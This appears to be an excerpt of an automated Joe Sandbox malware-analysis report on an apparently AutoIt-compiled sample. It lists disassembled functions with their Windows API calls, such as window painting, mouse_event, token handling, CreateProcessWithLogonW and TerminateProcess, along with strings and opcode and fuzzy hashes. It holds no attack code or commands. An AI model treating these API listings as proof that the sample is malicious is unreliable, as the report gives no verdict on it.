Opcode ID: 019e091c88d8f586e33d039f83ba587a45971a8bb11d2471037e38454b441f9f
Instruction ID: 9bb0c38701bbef31d5c3a92c8d048f34606b8c06d4fe48bfdc1083c710c1a680
Opcode Fuzzy Hash: 019e091c88d8f586e33d039f83ba587a45971a8bb11d2471037e38454b441f9f
Instruction Fuzzy Hash: A751D270E00386DFDF65CF6AC888BAEBBF8BF44324F10415AE4159B291E7758A04EB51

Function 00F81765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00F8179A
GetWindowRect.USER32(?,?), ref: 00F817FE
ScreenToClient.USER32(?,?), ref: 00F8181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00F8182C
EndPaint.USER32(?,?), ref: 00F81876

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: f381eff10e51d1c7245937bfc94cd3727e7d2d44f81349608156b327602bd2e8
Instruction ID: 91b5cf0f6b48ebbb9539dcdf24aea253295091f614de8d762f3eb1c9b2de1485
Opcode Fuzzy Hash: f381eff10e51d1c7245937bfc94cd3727e7d2d44f81349608156b327602bd2e8
Instruction Fuzzy Hash: EA41CDB1500301AFD721EF25CC84FFA7BE8FB4A724F140728F994861A1D736A806EB61

Function 0100B958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(010467B0,00000000,01695B68,?,?,010467B0,?,0100B862,?,?), ref: 0100B9CC
EnableWindow.USER32(00000000,00000000), ref: 0100B9F0
ShowWindow.USER32(010467B0,00000000,01695B68,?,?,010467B0,?,0100B862,?,?), ref: 0100BA50
ShowWindow.USER32(00000000,00000004,?,0100B862,?,?), ref: 0100BA62
EnableWindow.USER32(00000000,00000001), ref: 0100BA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0100BAA9

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 770adce1846c5635300755deb9c75107cd872a55a7981c2df89913d44ab34ea6
Instruction ID: 56dd3969023a705c0a890b0f2b19d394021dac4af7c3ccf07786c3f3b6702f01
Opcode Fuzzy Hash: 770adce1846c5635300755deb9c75107cd872a55a7981c2df89913d44ab34ea6
Instruction Fuzzy Hash: 73413438600141AFEB67CF18C489BA57FE1FB06715F1841F9EA888F6E6C7319445DB51

Function 00FF73B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00FF5134,?,?,00000000,00000001), ref: 00FF73BF

Part of subcall function 00FF3C94: GetWindowRect.USER32(?,?), ref: 00FF3CA7

GetDesktopWindow.USER32 ref: 00FF73E9
GetWindowRect.USER32(00000000), ref: 00FF73F0
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00FF7422

Part of subcall function 00FE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FE555E

GetCursorPos.USER32(?), ref: 00FF744E
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00FF74AC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 1df167401c91e445f1f54a92a5f98e0166b8ac60c85fc671e5ac8cb8622e62c1
Instruction ID: 62e636f9663c03bad295e73b14b02e568e8f85dede7131ce71c702d3072b8ee4
Opcode Fuzzy Hash: 1df167401c91e445f1f54a92a5f98e0166b8ac60c85fc671e5ac8cb8622e62c1
Instruction Fuzzy Hash: 8531D47250830AABD730DF14D849F6BBBE9FF88314F000919F588A7191CB75E909DB92

Function 00FD8D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD85F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FD8608
Part of subcall function 00FD85F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FD8612
Part of subcall function 00FD85F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FD8621
Part of subcall function 00FD85F1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FD8628
Part of subcall function 00FD85F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FD863E

GetLengthSid.ADVAPI32(?,00000000,00FD8977), ref: 00FD8DAC
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00FD8DB8
HeapAlloc.KERNEL32(00000000), ref: 00FD8DBF
CopySid.ADVAPI32(00000000,00000000,?), ref: 00FD8DD8
GetProcessHeap.KERNEL32(00000000,00000000,00FD8977), ref: 00FD8DEC
HeapFree.KERNEL32(00000000), ref: 00FD8DF3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 86d634eba32655ac63e41cecf89dff0e8e5a84a95c25d7099610eda190d59fc8
Instruction ID: 75e3943965cc8035c5181839fba0b7006a9aa94495cb701765a4e39f43b192bf
Opcode Fuzzy Hash: 86d634eba32655ac63e41cecf89dff0e8e5a84a95c25d7099610eda190d59fc8
Instruction Fuzzy Hash: E411DF31900605FFDB21DF64CC08BAE777BEF553A5F18401AF88593280CB369901EB60

Function 00FD8AF9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00FD8B2A
OpenProcessToken.ADVAPI32(00000000), ref: 00FD8B31
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00FD8B40
CloseHandle.KERNEL32(00000004), ref: 00FD8B4B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FD8B7A
DestroyEnvironmentBlock.USERENV(00000000), ref: 00FD8B8E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: d97a005f6ad532a436b14217234d91acfc810a8e544dbc1c6da581471f7e1580
Instruction ID: 7e189817f146259fe03b536cfb3a2973bbe0cb2995a56436f01f7fa4ed8e6d41
Opcode Fuzzy Hash: d97a005f6ad532a436b14217234d91acfc810a8e544dbc1c6da581471f7e1580
Instruction Fuzzy Hash: 51118CB250020AABDF22CFA4DC49FDE7BA9FF48358F084056FE04A2150C7768D61AB61

Function 0100C19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00F812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F8134D
Part of subcall function 00F812F3: SelectObject.GDI32(?,00000000), ref: 00F8135C
Part of subcall function 00F812F3: BeginPath.GDI32(?), ref: 00F81373
Part of subcall function 00F812F3: SelectObject.GDI32(?,00000000), ref: 00F8139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0100C1C4
LineTo.GDI32(00000000,00000003,?), ref: 0100C1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0100C1E6
LineTo.GDI32(00000000,00000000,?), ref: 0100C1F6
EndPath.GDI32(00000000), ref: 0100C206
StrokePath.GDI32(00000000), ref: 0100C216

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: c216bc41e54d828f63e84950890a385b280617fce77ef5f3163d1e95d9781cce
Instruction ID: 448c743bef64ba2a40b738c228406efcfb5fc88eb59c35186b60f442c24b29c6
Opcode Fuzzy Hash: c216bc41e54d828f63e84950890a385b280617fce77ef5f3163d1e95d9781cce
Instruction Fuzzy Hash: 25115E7600010DBFEF229F94DC88FDA3FACEB08350F048151BA48461A5D7769D95EBA0

Function 00FA03A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FA03D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 00FA03DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FA03E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FA03F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00FA03F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FA0401

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: c2e2a8e205a596f1f0629439e6e323dd62fee0066efa869ad00b16e27ad306b0
Instruction ID: b6e77dd55adf3cbc40442f8eb72ecb0c1450f09a3a826d779fecce4f4c8c6ae8
Opcode Fuzzy Hash: c2e2a8e205a596f1f0629439e6e323dd62fee0066efa869ad00b16e27ad306b0
Instruction Fuzzy Hash: 9D016CB090175A7DE3008F6A8C85B52FFA8FF19354F00411BA15C47941C7F5A864CBE5

Function 00FE568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00FE569B
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00FE56B1
GetWindowThreadProcessId.USER32(?,?), ref: 00FE56C0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FE56CF
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FE56D9
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FE56E0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 7689ff38643b3cee7d7c1139e7cb1b0dd0c3d91196acb42aae48f7476c49c7cc
Instruction ID: 65eb127f92b2bc3f06ceab05de267f413dc71a45298274786925ba9b4bda23f6
Opcode Fuzzy Hash: 7689ff38643b3cee7d7c1139e7cb1b0dd0c3d91196acb42aae48f7476c49c7cc
Instruction Fuzzy Hash: 59F06D3224115ABBE3325BA29C0DEEB7B7CEBCAB21F000159FA40D10409AA61A01A7B5

Function 00FE74D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00FE74E5
EnterCriticalSection.KERNEL32(?,?,00F91044,?,?), ref: 00FE74F6
TerminateThread.KERNEL32(00000000,000001F6,?,00F91044,?,?), ref: 00FE7503
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00F91044,?,?), ref: 00FE7510

Part of subcall function 00FE6ED7: CloseHandle.KERNEL32(00000000,?,00FE751D,?,00F91044,?,?), ref: 00FE6EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 00FE7523
LeaveCriticalSection.KERNEL32(?,?,00F91044,?,?), ref: 00FE752A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: d75ea6610a8a189857e537b0aadfc709aef35f1f253b0cae9a79517841bf0a0d
Instruction ID: d15422e8efc7e49369cc24f1c82401ce153ca92730df2f617fbcac810590c429
Opcode Fuzzy Hash: d75ea6610a8a189857e537b0aadfc709aef35f1f253b0cae9a79517841bf0a0d
Instruction Fuzzy Hash: 18F05E3A544713EBDB323B64FC8C9EB7B2AEF45312F040521F282D10A8CB7A5801EB90

Function 00FD8E74 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00FD8E7F
UnloadUserProfile.USERENV(?,?), ref: 00FD8E8B
CloseHandle.KERNEL32(?), ref: 00FD8E94
CloseHandle.KERNEL32(?), ref: 00FD8E9C
GetProcessHeap.KERNEL32(00000000,?), ref: 00FD8EA5
HeapFree.KERNEL32(00000000), ref: 00FD8EAC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 27d89349b61a38275d016bb25bcb413a96e2e924f7186123d395bbede39bf002
Instruction ID: d82eeb8144335d3076d5c397a13ba6d18da09fbbc643793b18bfac08ed8f583d
Opcode Fuzzy Hash: 27d89349b61a38275d016bb25bcb413a96e2e924f7186123d395bbede39bf002
Instruction Fuzzy Hash: 12E0ED36004502BBD7226FE1EC0C945BF79FF89722F108220F259C1068CB375460EB50

Function 00FF8902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FF8928
CharUpperBuffW.USER32(?,?), ref: 00FF8A37
VariantClear.OLEAUT32(?), ref: 00FF8BAF

Part of subcall function 00FE7804: VariantInit.OLEAUT32(00000000), ref: 00FE7844
Part of subcall function 00FE7804: VariantCopy.OLEAUT32(00000000,?), ref: 00FE784D
Part of subcall function 00FE7804: VariantClear.OLEAUT32(00000000), ref: 00FE7859

Strings

Incorrect Parameter format, xrefs: 00FF8960, 00FF8B22
AUTOIT.ERROR, xrefs: 00FF8A3D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 16a1114bea2f151cf3b57f63e536cd76b81e452c9ebfe5d9c93108fe97600e6a
Instruction ID: 795c3736f942c6712632e564c48960221cd4a375637afbad47a8a82b9903c1ef
Opcode Fuzzy Hash: 16a1114bea2f151cf3b57f63e536cd76b81e452c9ebfe5d9c93108fe97600e6a
Instruction Fuzzy Hash: 4B91BD71608305DFC710EF24C88496ABBE4EFC8754F04896EF99A8B361DB35E906DB52

Function 00FE2F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9FEC6: _wcscpy.LIBCMT ref: 00F9FEE9

_memset.LIBCMT ref: 00FE3077
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FE30A6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FE3159
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00FE3187

Strings

0, xrefs: 00FE3063

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: c071f30fc6330134b7e3c6c3f4891733ed4dec583aadbbf01382116961e21973
Instruction ID: 311d48105bd7091154e3cbddb2c49cf50905dc0da445ec99f7513f6523ca1df8
Opcode Fuzzy Hash: c071f30fc6330134b7e3c6c3f4891733ed4dec583aadbbf01382116961e21973
Instruction Fuzzy Hash: 18510471E083809BD7259F2AC84D66BBBE4EF85364F040A2DF891D3191DB79CE44A752

Function 00FDDA5D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00FDDAC5
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00FDDAFB
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00FDDB0C
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00FDDB8E

Strings

DllGetClassObject, xrefs: 00FDDB01

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 80283e0252d29d15f395e6cc56f45ad0cf68476097bfbb012d7f52924611cdee
Instruction ID: 908f845c566a4dec566f3a0b11a49c3db410c358735086087beedd7d94620d30
Opcode Fuzzy Hash: 80283e0252d29d15f395e6cc56f45ad0cf68476097bfbb012d7f52924611cdee
Instruction Fuzzy Hash: D1418FB1600208EFDB15CF54C884A9A7BAAEF84354F1981ABED059F305D7B5DD44EBA0

Function 00FE2C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE2CAF
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00FE2CCB
DeleteMenu.USER32(?,00000007,00000000), ref: 00FE2D11
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,01046890,00000000), ref: 00FE2D5A

Strings

0, xrefs: 00FE2CA4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 75a2748bb678d5e0f917cab47c90a08d082eab6f796ff24866f3c7fd36766f8f
Instruction ID: 8c8acb72a5c46b0552f1ce7978438cb854941860c222e3bc7956df5719d2c60f
Opcode Fuzzy Hash: 75a2748bb678d5e0f917cab47c90a08d082eab6f796ff24866f3c7fd36766f8f
Instruction Fuzzy Hash: 7C41DD306043829FD724EF25DC80B1ABBE8AF85320F14461EFAA197291E774E904DB92

Function 00FFDAB9 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00FFDAD9

Part of subcall function 00F879AB: _memmove.LIBCMT ref: 00F879F9

Strings

stdcall, xrefs: 00FFDB5B
cdecl, xrefs: 00FFDB30
none, xrefs: 00FFDBB4
winapi, xrefs: 00FFDB4A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 0bc4a12930e5a8f5589ce6c37df74c1734a551777b8ef23e95bcad8b4c85e870
Instruction ID: 0b94b82777c695da5376d7ba8bd58589b7f21ed53ce66b2d9c911fb3f5eddd92
Opcode Fuzzy Hash: 0bc4a12930e5a8f5589ce6c37df74c1734a551777b8ef23e95bcad8b4c85e870
Instruction Fuzzy Hash: 2231D27190061AAFCF10EF54CC819FEB3B5FF45724B108619E965976A1CB35E906DB80

Function 00FD9372 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00FD93F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00FD9409
SendMessageW.USER32(?,00000189,?,00000000), ref: 00FD9439

